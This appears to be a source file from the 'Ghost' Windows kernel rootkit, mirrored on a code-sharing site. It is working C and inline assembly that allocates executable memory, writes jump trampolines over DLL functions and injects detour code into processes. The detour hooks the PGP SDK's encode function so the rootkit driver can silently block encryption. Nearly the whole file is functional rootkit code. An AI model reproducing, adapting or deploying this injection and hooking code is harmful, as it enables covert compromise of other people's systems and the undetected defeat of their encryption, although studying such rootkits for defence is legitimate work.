www.pudn.com > ROOTKIT_Ghost.rar > injectManager.c


// injectManager 
// Copyright Ric Vieler, 2006 
// Hook Dynamic Link Libraries 
 
#include "ntddk.h" 
#include "Ghost.h" 
#include "hookManager.h" 
#include "injectManager.h" 
#include "IoManager.h" 
#include "parse86.h" 
#include  
#include  
 
#pragma code_seg("PAGE") 
#pragma optimize( "", off ) 
 
extern PVOID kernel32Base; 
 
static void HookTable( void ); 
static void DetourFunction( void ); 
static void EndOfInjectedCode( void ); 
static DWORD beforeEncode( PDWORD stack, DWORD* callbackReturn, IN_PROCESS_DATA* pCallData ); 
static DWORD BeforeOriginalFunction( DWORD hookIndex, PDWORD originalStack, DWORD* returnParameter, IN_PROCESS_DATA* callData ); 
static void AfterOriginalFunction( DWORD hookIndex, PDWORD originalStack, DWORD* returnParameter, IN_PROCESS_DATA* callData ); 
 
#define JUMP_TO_DETOUR_LOCATION			-5 
#define CALLDATA_INDEX_LOCATION			0 
#define CALLDATA_PARAMETERS_LOCATION	4 
#define CALLDATA_CALLTYPE_LOCATION		8 
#define CALLDATA_STACK_OFFSET_LOCATION	12 
#define TRAMPOLINE_LOCATION				16 
#define START_OF_TRAMPOLINE_PATTERN		-1 
 
void __declspec(naked) HookTable( void ) 
{ 
	__asm 
	{ 
		push eax 
		xor eax, eax 
		call phoney_call 
phoney_call: 
		lea eax, phoney_call 
		lea edx, phoney_jump 
		sub edx, eax 
		pop eax 
		add eax, edx 
		mov edx, eax 
		pop eax 
		jmp DetourFunction 
phoney_jump: 
		EMIT_FOUR( 0xff ) 
		EMIT_FOUR( 0x0 ) 
		EMIT_FOUR( 0x0 ) 
		EMIT_FOUR( 0x0 ) 
		EMIT_FOUR( 0x90 ) 
		EMIT_FOUR( 0x90 ) 
		EMIT_FOUR( 0x90 ) 
		EMIT_FOUR( 0x90 ) 
		EMIT_FOUR( 0x90 ) 
		EMIT_FOUR( 0x90 ) 
		EMIT_FOUR( 0x90 ) 
		EMIT_FOUR( 0x90 ) 
		EMIT_FOUR( 0x90 ) 
		jmp EndOfInjectedCode 
	} 
} 
 
//////////////////////////////// 
// Injected functions 
//////////////////////////////// 
 
void __declspec(naked) DetourFunction( void ) 
{ 
	PUSH_STACKFRAME(); 
	{ 
		DWORD		hookIndex; 
		DWORD		parameters; 
		DWORD		callType; 
		DWORD		stackOffset; 
		PCHAR		trampolineFunction; 
		IN_PROCESS_DATA*	callData; 
		PCHAR		codeStart; 
		PDWORD		originalStack; 
		DWORD		tempStack; 
		int			loop; 
		int			parameters4return; 
		DWORD		parameter2return = 0; 
		DWORD		continueFlag; 
		DWORD		register_esp; 
		DWORD		register_edi; 
		DWORD		register_esi; 
		DWORD		register_eax; 
		DWORD		register_ebx; 
		DWORD		register_ecx; 
		DWORD		add2stack; 
 
		// setup to call injected functions 
		__asm 
		{ 
			mov register_esp, esp 
			mov register_edi, edi 
			mov register_esi, esi 
			mov register_eax, eax 
			mov register_ebx, ebx 
			mov register_ecx, ecx 
 
			// get parameters 
			push edx 
			mov edx, [edx+CALLDATA_INDEX_LOCATION] 
			mov hookIndex, edx 
			pop edx 
			push edx 
			mov edx, [edx+CALLDATA_PARAMETERS_LOCATION] 
			mov parameters, edx 
			pop edx 
			push edx 
			mov edx, [edx+CALLDATA_CALLTYPE_LOCATION] 
			mov callType, edx 
			pop edx 
			push edx 
			mov edx, [edx+CALLDATA_STACK_OFFSET_LOCATION] 
			mov stackOffset, edx 
			pop edx 
			push edx 
			add edx, TRAMPOLINE_LOCATION 
			mov trampolineFunction, edx 
			pop edx 
			// caculate the start address 
			xor eax, eax 
			call called_without_return 
called_without_return: 
			pop eax 
			lea ebx, DetourFunction 
			lea ecx, called_without_return 
			sub ecx, ebx 
			sub eax, ecx 
			mov codeStart, eax 
			// data area 
			lea ecx, EndOfInjectedCode 
			sub ecx, ebx 
			add ecx, eax 
			mov callData, ecx 
			// caculate the last ret address 
			mov eax, ebp 
			add eax, 4	// pushed ebp 
			add eax, stackOffset 
			mov originalStack, eax 
		} 
 
		// setup return call type 
		if( callType == CDECL_TYPE ) 
			add2stack = parameters * sizeof( DWORD ); 
		else 
			add2stack = 0; 
		// call pre-injected code 
		continueFlag = BeforeOriginalFunction( hookIndex, originalStack, ¶meter2return, callData ); 
		if( continueFlag == (DWORD)TRUE ) 
		{ 
			for( loop = parameters; loop > 0; loop-- ) 
			{ 
				tempStack = originalStack[loop]; 
				__asm push tempStack 
			} 
			// Call trampoline (jumps to original function) 
			// 
			// Since trampoline is a jump, the return in 
			// the original function will come back here. 
			__asm 
			{ 
				lea ebx, DetourFunction 
				lea eax, return_from_trampoline 
				sub eax, ebx 
				add eax, codeStart 
				// construct call 
				push eax 
				// adjust stack 
				sub esp, stackOffset 
				// restore registers and call 
				mov edi, register_edi 
				mov esi, register_esi 
				mov eax, register_eax 
				mov ebx, register_ebx 
				mov ecx, register_ecx 
				jmp trampolineFunction 
return_from_trampoline: 
				add esp, add2stack 
				mov parameter2return, eax 
			} 
			// call post-injected code 
			AfterOriginalFunction( hookIndex, originalStack, ¶meter2return, callData ); 
		} 
		// prepare to return 
		tempStack = *originalStack; 
		if( callType == CDECL_TYPE ) 
			parameters4return = 0; 
		else 
			parameters4return = parameters; 
		__asm 
		{ 
			mov eax, parameter2return 
			mov ecx, tempStack 
			mov edx, parameters4return 
			shl edx, 2 
			add edx, stackOffset 
			POP_STACKFRAME(); 
			add esp, 4 
			add esp, edx 
			jmp ecx 
		} 
		__asm mov edx, trampolineFunction 
	} 
	POP_STACKFRAME(); 
	__asm jmp edx 
} 
 
/////////////////////////////////////////////////////////////// 
// this function is located in the PGP SDK 
// dynamic link library (old=PGP_SDK.DLL, new=PGPsdk.dll) 
// This function accepts the callers input and output, 
// which may be memory or file based, and converts the input 
// into encrypted output 
// 
// return TRUE to allow encryption 
// return FALSE to block encryption 
/////////////////////////////////////////////////////////////// 
DWORD beforeEncode( PDWORD stack, DWORD* callbackReturn, IN_PROCESS_DATA* pCallData ) 
{ 
	void*					contextPtr = (void*)stack[1]; 
	PGPOptionList*			optionListPtr = (PGPOptionList*)stack[2]; 
	DWORD					dwRet = (DWORD)TRUE; 
 
	int index; 
	int inputType = 0; 
	void* lpBuffer; 
	DWORD dwInBufferLen = 0; 
	PGPOption* currentOption = optionListPtr->options; 
	PFLFileSpec* fileSpec; 
	HANDLE deviceHandle; 
	GHOST_IOCTLDATA control = { 0 }; 
	ULONG status = 0; 
 
	// Look at the options in the option list 
	for( index = 0; index < optionListPtr->numOptions; index++) 
	{ 
		if( currentOption->type == 1 ) 
		{ 
			// File Input 
			inputType = 1; 
			fileSpec = (PFLFileSpec*)currentOption->value; 
			lpBuffer = fileSpec->data; 
			dwInBufferLen = (DWORD)pCallData->plstrlenA((LPCSTR)(lpBuffer)); 
			break; 
		} 
		else if( currentOption->type == 2 ) 
		{ 
			// Buffer Input 
			inputType = 2; 
			lpBuffer = (void*)currentOption->value; 
			dwInBufferLen = (DWORD)currentOption->valueSize; 
			break; 
		} 
		currentOption++; 
	} 
 
	// Process buffer or file before encryption 
	if(( inputType == 1 || inputType == 2 ) && ( dwInBufferLen > 0 )) 
	{ 
		deviceHandle = pCallData->pCreateFileA( pCallData->deviceString, 
			GENERIC_READ | GENERIC_WRITE, 
			0, 
			NULL, 
			OPEN_EXISTING, 
			FILE_ATTRIBUTE_NORMAL, 
			NULL); 
		if (deviceHandle != INVALID_HANDLE_VALUE) 
		{ 
			if( pCallData->pDeviceIoControl( deviceHandle, 
				GHOST_STATUS_COMMAND, 
				&control, 
				sizeof(control), // input 
				(PVOID)&control, 
				sizeof(control), // output 
				&status, 
				NULL ) ) 
			{ 
				if(control.command == GHOST_ON) 
				{ 
					// blocking encryption 
					dwRet = (DWORD)FALSE; 
					*callbackReturn = PGP_BAD_API; 
					pCallData->pOutputDebugStringA(pCallData->denyString); 
				} 
				else 
				{ 
					pCallData->pOutputDebugStringA(pCallData->allowString); 
				} 
			} 
			pCallData->pCloseHandle(deviceHandle); 
		} 
	} 
	return dwRet; 
} 
 
DWORD BeforeOriginalFunction( DWORD hookIndex, PDWORD originalStack, DWORD* returnParameter, IN_PROCESS_DATA* callData ) 
{ 
	if( hookIndex == USERHOOK_beforeEncode ) 
	{ 
		return beforeEncode( originalStack, returnParameter, callData ); 
	} 
	return (DWORD)TRUE; 
} 
 
void AfterOriginalFunction( DWORD hookIndex, PDWORD originalStack, DWORD* returnParameter, IN_PROCESS_DATA* callData ) 
{ 
} 
 
// EndOfInjectedCode - DetourFunction = size of injected code 
// Content doesn't matter, so just trap a debug exception 
void __declspec(naked) EndOfInjectedCode( void ) 
{ 
	__asm int 3 
} 
 
//////////////////////////////// 
// End injected functions 
//////////////////////////////// 
 
PCHAR allocateUserMemory() 
{ 
	LONG		memorySize; 
	LONG		tableSize; 
	LONG		codeSize; 
	LONG		dataSize; 
	ULONG		buffer[2]; 
	NTSTATUS	status; 
	PCHAR		pMemory; 
	IN_PROCESS_DATA* pData; 
 
	// Calculate sizes 
	// table = (DetourFunction - HookTable) * TOTAL_HOOKS 
	// code = EndOfInjectedCode - DetourFunction 
	// data = sizof( IN_PROCESS_DATA ) 
	__asm 
	{ 
		lea eax, HookTable 
		lea ebx, DetourFunction 
		lea ecx, EndOfInjectedCode 
		mov edx, ebx 
		sub edx, eax 
		mov tableSize, edx 
		mov edx, ecx 
		sub edx, ebx 
		mov codeSize, edx 
	} 
	tableSize = tableSize * TOTAL_HOOKS; 
	dataSize = sizeof( IN_PROCESS_DATA ); 
	memorySize = tableSize + codeSize + dataSize; 
 
	// Allocate memory 
	buffer[0] = 0; 
	buffer[1] = memorySize; 
	status = ZwAllocateVirtualMemory( (HANDLE)-1, (PVOID*)buffer, 0, &buffer[1], MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 
	pMemory = (PCHAR)(buffer[0]); 
 
	if( !NT_SUCCESS( status ) || !pMemory ) 
		return NULL; 
 
	// initialize memory 
	memset( pMemory, 0x90, tableSize + codeSize ); 
	pData = (IN_PROCESS_DATA*)(pMemory + tableSize + codeSize ); 
	memset( (PVOID)pData, 0, dataSize ); 
	 
	return pMemory; 
} 
 
ULONG getx86Instruction( PCHAR originalCode, PCHAR instructionBuffer, ULONG bufferLength ) 
{ 
	PBYTE source = NULL; 
	PBYTE destination = NULL; 
	ULONG ulCopied = 0; 
	PBYTE jumpAddress = NULL; 
	LONG  extra = 0; 
 
	memset( instructionBuffer, 0, bufferLength ); 
	source = (PBYTE)originalCode; 
	destination = (PBYTE)instructionBuffer; 
	jumpAddress = NULL; 
	extra = 0; 
	// start with 5 bytes 
	for( ulCopied = 0; ulCopied < 5; ) 
	{ 
		source = transferInstruction( destination, source, &jumpAddress, &extra ); 
		if( !source ) 
		{ 
			memset( instructionBuffer, 0, bufferLength ); 
			ulCopied = 0; 
			break; 
		} 
		ulCopied = (DWORD)source - (DWORD)originalCode; 
		if( ulCopied >= bufferLength ) 
		{ 
			ASSERT( FALSE ); 
			break; 
		} 
		destination = (PBYTE)instructionBuffer + ulCopied; 
	} 
	return ulCopied; 
} 
 
BOOL makeWritable( PVOID address, ULONG size ) 
{ 
    NTSTATUS	status; 
	ULONG		pageAccess; 
	ULONG		ZwProtectArray[3] = { 0 }; 
 
	pageAccess = PAGE_EXECUTE_READWRITE; 
	ZwProtectArray[0] = (ULONG)address; 
	ZwProtectArray[1] = size; 
	ZwProtectArray[2] = 0; 
 
	status = OldZwProtectVirtualMemory( (HANDLE)-1, 
										(PVOID *)(&(ZwProtectArray[0])), 
										&(ZwProtectArray[1]), 
										pageAccess, 
										&(ZwProtectArray[2]) ); 
 
	if( !NT_SUCCESS( status ) ) 
		return FALSE; 
 
	return TRUE; 
} 
 
// Parse first instruction of original function. 
// Replace first instruction with jump to hook. 
// Save first instruction to trampoline function. 
// Only call original function through trampoline. 
BOOL createTrampoline( PCHAR originalAddress, PCHAR tableAddress, PCHAR trampolineAddress ) 
{ 
	ULONG		newOriginalAddress = 0; 
	char		instruction[MAX_INSTRUCTION] = { 0 }; 
	ULONG		instructionLength; 
 
	instructionLength = getx86Instruction( originalAddress, instruction, sizeof(instruction) ); 
	newOriginalAddress = (ULONG)(originalAddress + instructionLength); 
	// see if it's a jump 
	if( isJump( instruction, instructionLength ) ) 
	{ 
		PVOID pOldDstAddr = (PVOID)(GET_JUMP( instruction )); 
		if( pOldDstAddr ) 
		{ 
			// If first instruction of original function 
			// is a jump, trampoline instruction is NO-OP 
			// and jump target is original jump target 
			memset( instruction, 0x90, sizeof(instruction) ); 
			instructionLength = 0; 
			newOriginalAddress = (ULONG)pOldDstAddr; 
		} 
		else 
		{ 
			return FALSE; 
		} 
	} 
	if( makeWritable( (PVOID)trampolineAddress, MAX_INSTRUCTION + 5 ) ) 
	{ 
		// write trampoline function 
		memset( trampolineAddress, 0x90, MAX_INSTRUCTION + 5 ); 
		memcpy( trampolineAddress, instruction, instructionLength ); 
		INJECT_JUMP( trampolineAddress + instructionLength, newOriginalAddress ); 
		// set original function to jump to trampoline function 
		if( makeWritable( originalAddress, instructionLength + 5 ) ) 
		{ 
			INJECT_JUMP( originalAddress, tableAddress ); 
			return TRUE; 
		} 
	} 
	return FALSE; 
} 
 
BOOL getHookPointers( PCHAR pMemory, PCHAR* pTable, PCHAR* pCode, PCHAR* pData ) 
{ 
	LONG	tableSize = 0; 
	LONG	codeSize = 0; 
	LONG	dataSize = 0; 
 
	__asm 
	{ 
		lea eax, HookTable 
		lea ebx, DetourFunction 
		lea ecx, EndOfInjectedCode 
		mov edx, ebx 
		sub edx, eax 
		mov tableSize, edx 
		mov edx, ecx 
		sub edx, ebx 
		mov codeSize, edx 
	} 
	 
	tableSize = tableSize * TOTAL_HOOKS; 
	dataSize = sizeof(IN_PROCESS_DATA); 
	*pTable = pMemory; 
	*pCode = *pTable + tableSize; 
	*pData = *pCode + codeSize; 
	return TRUE; 
} 
 
BOOL processInject( CALL_DATA_STRUCT* pCallData, int hooks, PCHAR pMemory ) 
{ 
	int	loop; 
	int	offsetToPattern; 
	PCHAR pNewTable; 
	PCHAR pNewCode; 
	IN_PROCESS_DATA* pNewData; 
	PCHAR pOldTable; 
	PCHAR pOldCode; 
	PCHAR pOldData; 
	DWORD tableLength; 
	DWORD tableOffset; 
	PCHAR callDataOffset; 
 
	if( !kernel32Base ) 
		return FALSE; 
 
	if( !getHookPointers( pMemory, &pNewTable, &pNewCode, (PCHAR*)&pNewData ) ) 
		return FALSE; 
 
	pNewData->pOutputDebugStringA = (PROTOTYPE_OutputDebugStringA)GetFunctionAddress( kernel32Base, "OutputDebugStringA", NULL, 0 ); 
	pNewData->pOutputDebugStringW = (PROTOTYPE_OutputDebugStringW)GetFunctionAddress( kernel32Base, "OutputDebugStringW", NULL, 0 ); 
	pNewData->pSleep = (PROTOTYPE_Sleep)GetFunctionAddress( kernel32Base, "Sleep", NULL, 0 ); 
	pNewData->pCreateFileA = (PROTOTYPE_CreateFileA)GetFunctionAddress( kernel32Base, "CreateFileA", NULL, 0 ); 
	pNewData->pDeviceIoControl = (PROTOTYPE_DeviceIoControl)GetFunctionAddress( kernel32Base, "DeviceIoControl", NULL, 0 );
	pNewData->pCloseHandle = (PROTOTYPE_CloseHandle)GetFunctionAddress( kernel32Base, "CloseHandle", NULL, 0 ); 
	pNewData->plstrlenA = (PROTOTYPE_lstrlenA)GetFunctionAddress( kernel32Base, "lstrlenA", NULL, 0 ); 
	pNewData->plstrlenW = (PROTOTYPE_lstrlenW)GetFunctionAddress( kernel32Base, "lstrlenW", NULL, 0 ); 
	pNewData->plstrcpynA = (PROTOTYPE_lstrcpynA)GetFunctionAddress( kernel32Base, "lstrcpynA", NULL, 0 ); 
	pNewData->plstrcpynW = (PROTOTYPE_lstrcpynW)GetFunctionAddress( kernel32Base, "lstrcpynW", NULL, 0 ); 
	pNewData->plstrcpyA = (PROTOTYPE_lstrcpyA)GetFunctionAddress( kernel32Base, "lstrcpyA", NULL, 0 ); 
	pNewData->plstrcpyW = (PROTOTYPE_lstrcpyW)GetFunctionAddress( kernel32Base, "lstrcpyW", NULL, 0 ); 
	pNewData->plstrcmpiA = (PROTOTYPE_lstrcmpiA)GetFunctionAddress( kernel32Base, "lstrcmpiA", NULL, 0 ); 
	pNewData->plstrcmpiW = (PROTOTYPE_lstrcmpiW)GetFunctionAddress( kernel32Base, "lstrcmpiW", NULL, 0 ); 
	pNewData->plstrcmpA = (PROTOTYPE_lstrcmpA)GetFunctionAddress( kernel32Base, "lstrcmpA", NULL, 0 ); 
	pNewData->plstrcmpW = (PROTOTYPE_lstrcmpW)GetFunctionAddress( kernel32Base, "lstrcmpW", NULL, 0 ); 
	pNewData->plstrcatA = (PROTOTYPE_lstrcatA)GetFunctionAddress( kernel32Base, "lstrcatA", NULL, 0 ); 
	pNewData->plstrcatW = (PROTOTYPE_lstrcatW)GetFunctionAddress( kernel32Base, "lstrcatW", NULL, 0 ); 
	sprintf( pNewData->deviceString, GHOST_DEVICE_OPEN_NAME ); 
	sprintf( pNewData->allowString, "comint32: --- allowing encryption ---\n" ); 
	sprintf( pNewData->denyString, "comint32: --- blocking encryption ---\n" ); 
 
	__asm 
	{ 
		lea eax, HookTable 
		mov pOldTable, eax 
		lea eax, DetourFunction 
		mov pOldCode, eax 
		lea eax, EndOfInjectedCode 
		mov pOldData, eax 
	} 
 
	memcpy( pNewCode, pOldCode, pOldData - pOldCode ); 
	tableLength = pOldCode - pOldTable; 
	for( loop = 0; loop < (int)tableLength - 4; loop ++ ) 
	{ 
		if( *(PDWORD)(pOldTable+loop) == (DWORD)START_OF_TRAMPOLINE_PATTERN ) 
		{ 
			offsetToPattern = loop; 
			break; 
		} 
	} 
	for( loop = 0; loop < hooks; loop ++ ) 
	{ 
		tableOffset = tableLength * pCallData[loop].index; 
		callDataOffset =  pNewTable + tableOffset + offsetToPattern; 
		memcpy( pNewTable + tableOffset, pOldTable, tableLength ); 
		*((PDWORD)(callDataOffset + CALLDATA_INDEX_LOCATION)) = pCallData[loop].index; 
		*((PDWORD)(callDataOffset + CALLDATA_PARAMETERS_LOCATION)) = pCallData[loop].parameters; 
		*((PDWORD)(callDataOffset + CALLDATA_CALLTYPE_LOCATION)) = pCallData[loop].callType; 
		*((PDWORD)(callDataOffset + CALLDATA_STACK_OFFSET_LOCATION)) = pCallData[loop].stackOffset; 
		INJECT_JUMP( callDataOffset + JUMP_TO_DETOUR_LOCATION, pNewCode ); 
		createTrampoline( pCallData[loop].hookFunction, 
			pNewTable + tableOffset, 
			callDataOffset + TRAMPOLINE_LOCATION); 
	} 
	return TRUE; 
} 
 
#pragma optimize( "", on )